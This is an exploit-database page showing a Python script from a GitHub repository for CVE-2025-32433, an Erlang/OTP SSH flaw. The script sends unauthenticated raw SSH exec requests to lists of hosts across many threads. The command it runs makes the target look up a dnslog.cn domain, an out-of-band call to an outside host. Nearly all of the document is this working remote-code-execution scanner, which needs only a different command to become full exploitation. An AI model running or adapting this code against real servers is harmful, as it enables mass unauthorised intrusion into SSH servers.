Exploit database

GH-79186977f2c4c0df630ffe5498c5053b

mirmeweu/cve-2025-32433

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-32433

29 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
mirmeweu/cve-2025-32433Revision 50058a425dca

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

mass-check/mass_check.py

Python · 7,393 bytes
#!/usr/bin/env python3
import requests
import socket
import struct
import time
import argparse
import threading
from queue import Queue

DNSLOG_BASE = "http://www.dnslog.cn"  # OOB сервис
PROXY = "http://127.0.0.1:12334"      # HTTP прокси

# ---------------- DNSLOG ----------------
class Dnslog:
    def __init__(self, proxy=None):
        self.session = requests.Session()
        self.proxies = {"http": proxy, "https": proxy} if proxy else None

    def get_domain(self):
        try:
            r = self.session.get(f"{DNSLOG_BASE}/getdomain.php", proxies=self.proxies, timeout=10)
            r.raise_for_status()
            domain = r.text.strip()
            if not domain:
                raise Exception("Пустой домен от DNSLog")
            return domain
        except Exception as e:
            raise Exception(f"Ошибка получения DNSLog домена: {e}")

    def check_logs_for(self, domain):
        try:
            r = self.session.get(f"{DNSLOG_BASE}/getrecords.php", proxies=self.proxies, timeout=10)
            if r.status_code == 200 and domain.split('.')[0] in r.text:
                return True
        except Exception as e:
            pass
        return False

# ---------------- SSH helpers ----------------
def string_payload(s):
    s_bytes = s.encode("utf-8")
    return struct.pack(">I", len(s_bytes)) + s_bytes

def build_packet(payload):
    padding_length = 8 - ((len(payload) + 5) % 8)
    if padding_length < 4:
        padding_length += 8
    packet_length = len(payload) + padding_length + 1
    return struct.pack(">I", packet_length) + bytes([padding_length]) + payload + b"\x00" * padding_length

def build_channel_open(channel_id=0):
    return build_packet(
        b"\x5a" + string_payload("session") + struct.pack(">I", channel_id) +
        struct.pack(">I", 0x100000) + struct.pack(">I", 0x8000) + b""
    )

def build_channel_request(channel_id=0, command=""):
    return build_packet(
        b"\x62" + struct.pack(">I", channel_id) + string_payload("exec") + b"\x01" + string_payload(command)
    )

def build_kexinit():
    cookie = b"\x00" * 16
    kex_algorithms = ["[email protected]", "diffie-hellman-group14-sha1"]
    host_key_algorithms = ["ssh-rsa","rsa-sha2-512","rsa-sha2-256"]
    ciphers = ["aes128-ctr"]
    macs = ["hmac-sha1"]
    compression = ["none"]
    payload = ( b"\x14" + cookie + string_payload(",".join(kex_algorithms)) +
                string_payload(",".join(host_key_algorithms)) + string_payload(",".join(ciphers)) +
                string_payload(",".join(ciphers)) + string_payload(",".join(macs)) +
                string_payload(",".join(macs)) + string_payload(",".join(compression)) +
                string_payload(",".join(compression)) + string_payload("") + string_payload("") +
                b"\x00" + struct.pack(">I", 0) )
    return build_packet(payload)

def receive_packet(sock, timeout=5):
    sock.settimeout(timeout)
    try:
        size_data = sock.recv(4)
        if not size_data:
            return None
        packet_size = struct.unpack(">I", size_data)[0]
        packet = sock.recv(packet_size)
        return packet
    except Exception:
        return None

# ---------------- Core check ----------------
def check_host(host, port, dnslog_obj, timeout, debug=False):
    try:
        domain = dnslog_obj.get_domain()
        if debug:
            print(f"[*] Проверяем {host}:{port}...")
            print(f"[*] Уникальный домен для {host}:{port} -> {domain}")

        with socket.create_connection((host, port), timeout=10) as s:
            s.settimeout(10)
            try:
                s.sendall(b"SSH-2.0-OpenSSH_7.4\r\n")
            except Exception:
                pass

            banner = None
            try:
                banner = s.recv(4096)
            except Exception:
                pass

            if debug:
                if banner:
                    try:
                        print(f"[*] Получен баннер: {banner.strip()}")
                    except Exception:
                        print(f"[*] Получен баннер: <непечатаемый байтовый поток>")
                else:
                    print(f"[*] Баннер от {host}:{port} пуст или не получен")

            try:
                s.sendall(build_kexinit())
                receive_packet(s, timeout=3)
            except Exception:
                pass

            try:
                s.sendall(build_channel_open())
                receive_packet(s, timeout=3)
            except Exception:
                pass

            payload = f'inet:gethostbyname("{domain}").'
            if debug:
                print(f"[*] Отправка OOB payload на {host}:{port}: {payload}")

            try:
                s.sendall(build_channel_request(command=payload))
            except Exception:
                pass

            start = time.time()
            found = False
            while time.time() - start < timeout:
                if dnslog_obj.check_logs_for(domain):
                    found = True
                    break
                time.sleep(1)

            if found:
                print(f"[VULN] {host}:{port} уязвим!")
            elif debug:
                print(f"[SAFE] {host}:{port} кажется безопасным (за {timeout}s не найдено обращений к {domain})")

    except Exception as e:
        if debug:
            print(f"[ERROR] {host}:{port} - {e}")

# ---------------- Thread worker & main ----------------
def worker(q, dnslog, timeout, debug):
    while True:
        try:
            host_port = q.get_nowait()
        except Exception:
            break
        try:
            host, port = host_port.split(":")
            check_host(host, int(port), dnslog, timeout, debug)
        finally:
            q.task_done()

def main():
    parser = argparse.ArgumentParser(description="Massive safe check for CVE-2025-32433 with optional debug")
    parser.add_argument("-t", "--target", help="Single target IP:PORT")
    parser.add_argument("-f", "--file", help="File with IP:PORT list")
    parser.add_argument("-th", "--threads", type=int, default=5, help="Number of threads")
    parser.add_argument("-timeout", type=int, default=8, help="Seconds to wait for DNSLog hit per host")
    parser.add_argument("--proxy", help="HTTP proxy for DNSLog", default=PROXY)
    parser.add_argument("-debug", action="store_true", help="Enable debug output")
    args = parser.parse_args()

    dnslog = Dnslog(proxy=args.proxy)
    q = Queue()

    targets = []
    if args.target:
        targets.append(args.target)
    if args.file:
        with open(args.file) as f:
            for line in f:
                line = line.strip()
                if line:
                    targets.append(line)

    if not targets:
        print("[!] Нет целей для проверки")
        return

    for t in targets:
        q.put(t)

    threads = []
    for _ in range(max(1, args.threads)):
        t = threading.Thread(target=worker, args=(q, dnslog, args.timeout, args.debug))
        t.daemon = True
        t.start()
        threads.append(t)

    q.join()
    print("[*] Проверка завершена")

if __name__ == "__main__":
    main()